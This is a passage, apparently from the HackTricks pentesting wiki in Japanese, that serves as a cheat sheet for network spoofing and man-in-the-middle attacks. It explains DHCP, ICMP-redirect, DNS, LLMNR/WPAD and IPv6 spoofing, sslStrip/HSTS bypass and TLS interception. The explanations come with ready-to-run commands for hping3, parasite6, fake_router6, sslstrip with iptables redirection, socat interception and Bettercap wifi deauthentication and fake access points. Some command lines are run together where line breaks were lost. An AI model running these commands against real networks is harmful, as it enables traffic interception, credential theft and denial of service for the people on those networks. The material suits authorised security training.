Colyは、EIGRPEnhanced Interior Gateway Routing Protocolのブロードキャストを傍受する機能を持っています。また、ルーティング構成を変更するために使用できるパケットのインジェクションも可能です。

OSPF

Open Shortest Path FirstOSPFプロトコルでは、MD5認証が一般的に使用され、ルーター間の安全な通信を確保します。ただし、このセキュリティ対策はLokiやJohn the Ripperなどのツールを使用して妨害される可能性があります。これらのツールはMD5ハッシュをキャプチャしてクラックし、認証キーを公開します。このキーを取得すると、新しいルーティング情報を導入するために使用できます。ルートパラメータを構成し、侵害されたキーを確立するには、それぞれ Injection および Connection タブが使用されます。

  • MD5ハッシュのキャプチャとクラック: LokiやJohn the Ripperなどのツールが使用されます。
  • ルートパラメータの構成: Injection タブを介して行われます。
  • 侵害されたキーの設定: キーは Connection タブの下で構成されます。

その他の一般的なツールとソース

  • Above: ネットワークトラフィックをスキャンして脆弱性を見つけるためのツール
  • ネットワーク攻撃に関する詳細な情報はこちらで入手できます。

スプーフィング

攻撃者は、偽のDHCP応答を送信して、ネットワークの新しいメンバーのすべてのネットワークパラメータGW、IP、DNSを構成します。

Ettercap
yersinia dhcp -attack 2 #More parameters are needed

ARPスプーフィング

前のセクションを参照してください。

ICMPリダイレクト

ICMPリダイレクトは、ICMPパケットタイプ1コード5を送信することで、攻撃者がIPに到達する最良の方法であることを示すものです。その後、被害者がIPに連絡しようとすると、パケットは攻撃者を介して送信されます。

Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]

DNSスプーフィング

攻撃者は、被害者が要求するドメインのいくつか(またはすべて)を解決します。

set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on

dnsmasqを使用して独自のDNSを設定する

apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1   domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS

ローカルゲートウェイ

システムやネットワークへの複数のルートがしばしば存在します。ローカルネットワーク内のMACアドレスのリストを作成した後、gateway-finder.py を使用してIPv4フォワーディングをサポートするホストを特定します。

root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100     00:13:72:09:ad:76       Dell Inc.
10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.

root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]

LLMNR、NBT-NS、およびmDNSのスプーフィング

DNSのルックアップが失敗した場合、MicrosoftシステムはリンクローカルマルチキャストネームリゾルブLLMNRNetBIOSネームサービスNBT-NSに依存しています。同様に、Apple BonjourおよびLinuxゼロ構成の実装は、ネットワーク内のシステムを発見するために**マルチキャストDNSmDNS**を利用しています。これらのプロトコルは認証されていないため、UDPを介してメッセージをブロードキャストするため、攻撃者によって悪意のあるサービスにユーザーをリダイレクトするために悪用される可能性があります。

Responderを使用して、ホストが検索するサービスを偽の応答を送信することで、サービスを偽装することができます。
Responderを使用したサービスの偽装に関する詳細情報はこちらを参照してください。

WPADのスプーフィング

ブラウザは一般的にWeb Proxy Auto-DiscoveryWPADプロトコルを使用してプロキシ設定を自動的に取得します。これには、特定のURLたとえば "http://wpad.example.org/wpad.dat")を介してサーバーから構成詳細を取得することが含まれます。クライアントによるこのサーバーの発見は、さまざまなメカニズムを介して行われます。

  • DHCPを介して、特別なコード252エントリを利用して発見を促進します。
  • DNSを介して、ローカルドメイン内の wpad というホスト名を検索します。
  • Microsoft LLMNRおよびNBT-NSを介して、DNSルックアップが成功しない場合に使用されるフォールバックメカニズムです。

ツールResponderは、悪意のあるWPADサーバーとしてこのプロトコルを利用します。それはDHCP、DNS、LLMNR、およびNBT-NSを使用してクライアントを誤誘導します。Responderを使用してサービスを偽装する方法について詳しく知りたい場合は、こちらをチェックしてください

SSDPおよびUPnPデバイスのスプーフィング

ネットワーク内で異なるサービスを提供して、ユーザーをだますことができます。この攻撃に関する詳細情報はSSDPおよびUPnPデバイスのスプーフィングにあります。

IPv6ネイバースプーフィング

この攻撃はARPスプーフィングに非常に似ていますが、IPv6の世界で行われます。被害者に、GWのIPv6が攻撃者のMACアドレスであると思わせることができます。

sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds

IPv6ルーター広告のスプーフィング/フラッディング

一部のOSは、ネットワーク内で送信されたRAパケットからゲートウェイをデフォルトで構成します。攻撃者をIPv6ルーターとして宣言するために使用できる方法:

sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16

IPv6 DHCPスプーフィング

デフォルトでは、一部のOSはネットワーク内のDHCPv6パケットを読み取ってDNSを構成しようとします。そのため、攻撃者は自分自身をDNSとして構成するためにDHCPv6パケットを送信することができます。DHCPはまた、被害者にIPv6を提供します。

dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6

HTTP (フェイクページとJSコードの挿入)

インターネット攻撃

sslStrip

この攻撃が行うことは、ユーザーHTTPページにアクセスしようとする場合、そのページがHTTPSバージョンにリダイレクトされる場合に、sslStripクライアントとの間でHTTP接続を維持し、サーバーとの間でHTTPS接続を確立するため、接続を平文嗅ぎ取ることができます。

apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT

詳細はこちら

HSTSをバイパスするためのsslStrip+およびdns2proxy

sslStripsslStrip+およびdns2proxy違いは、例えば_www.facebook.comwwww.facebook.comリダイレクトし、このドメインのアドレスを攻撃者IPに設定する点です。これにより、クライアントwwww.facebook.com_攻撃者接続しますが、裏ではsslstrip+httpsを介して実際の接続www.facebook.comに維持します。

この技術の目的は、_wwww.facebook.com_がブラウザのキャッシュに保存されないため、ブラウザがHTTPでfacebook認証を実行するように騙すことです。
この攻撃を実行するには、被害者が最初にhttp://www.faceook.comにアクセスしようとする必要があり、httpsではないことに注意してください。これは、httpページ内のリンクを変更することで行うことができます。

詳細はこちらこちら、およびこちら

sslStripまたはsslStrip+はもはや機能しません。これは、ブラウザに事前保存されたHSTSルールがあるためです。したがって、ユーザーが"重要な"ドメインに初めてアクセスする場合でも、HTTPSでアクセスします。また、事前保存されたルールや他の生成されたルールには includeSubdomains フラグを使用できるため、以前の wwww.facebook.com の例はもはや機能しません。 facebook.com includeSubdomainsを使用してHSTSを使用しているためです。

TODO: easy-creds、evilgrade、metasploit、factory

ポートでのTCPリスン

sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -

TCP + SSL ポートでのリッスン

キーと自己署名証明書の生成

FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

証明書を使用して盗聴

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -

証明書を使用してホストにリダイレクトする

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0

クライアントがCAが有効であるかどうかをチェックする場合、CAによって署名された他のホスト名の証明書を提供することがあります。
もう1つの興味深いテストは、リクエストされたホスト名の証明書を自己署名で提供することです。

他にテストすることは、有効なCAでない有効な証明書で証明書に署名しようとすることです。また、有効な公開鍵を使用して証明書に署名し、ディフィー・ヘルマンなどのアルゴリズムを使用するよう強制し、クライアントが実際の秘密鍵で何も復号化する必要がないアルゴリズムを使用し、クライアントが実際の秘密鍵のプローブハッシュなどをリクエストすると、偽のプローブを送信し、クライアントがこれをチェックしないことを期待することです。

Bettercap

# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear

# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on

# Caplets
caplets.show
caplets.update

# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap

Active Discovery Notes

UDPパケットが要求されたポートを持たないデバイスに送信されると、ICMPポート到達不能が送信されることに注意してください。

ARP discover

ARPパケットはネットワーク内で使用されているIPアドレスを発見するために使用されます。PCは各可能なIPアドレスに対してリクエストを送信し、使用されているものだけが応答します。

mDNSマルチキャストDNS

Bettercapは、_services_.dns-sd._udp.localを要求するMDNSリクエストXミリ秒ごとを送信し、このパケットを受信したマシンは通常このリクエストに応答します。その後、「services」に応答するマシンのみを検索します。

ツール

  • Avahi-browser--all
  • Bettercapnet.probe.mdns
  • Responder

NBNSNetBios Name Server

Bettercapは、名前「CKAAAAAAAAAAAAAAAAAAAAAAAAAAA」を要求するためにポート137/UDPにブロードキャストパケットを送信します。

SSDPSimple Service Discovery Protocol

Bettercapは、すべての種類のサービスを検索するためにSSDPパケットをブロードキャストしますUDPポート1900

WSDWeb Service Discovery

Bettercapは、サービスを検索するためにWSDパケットをブロードキャストしますUDPポート3702

参考文献


バグバウンティのヒント: Intigritiサインアップして、ハッカーによって作成されたプレミアムバグバウンティプラットフォームであるIntigritiに参加しましょう!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得しましょう!

{% embed url="https://go.intigriti.com/hacktricks" %}

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert!

HackTricksをサポートする他の方法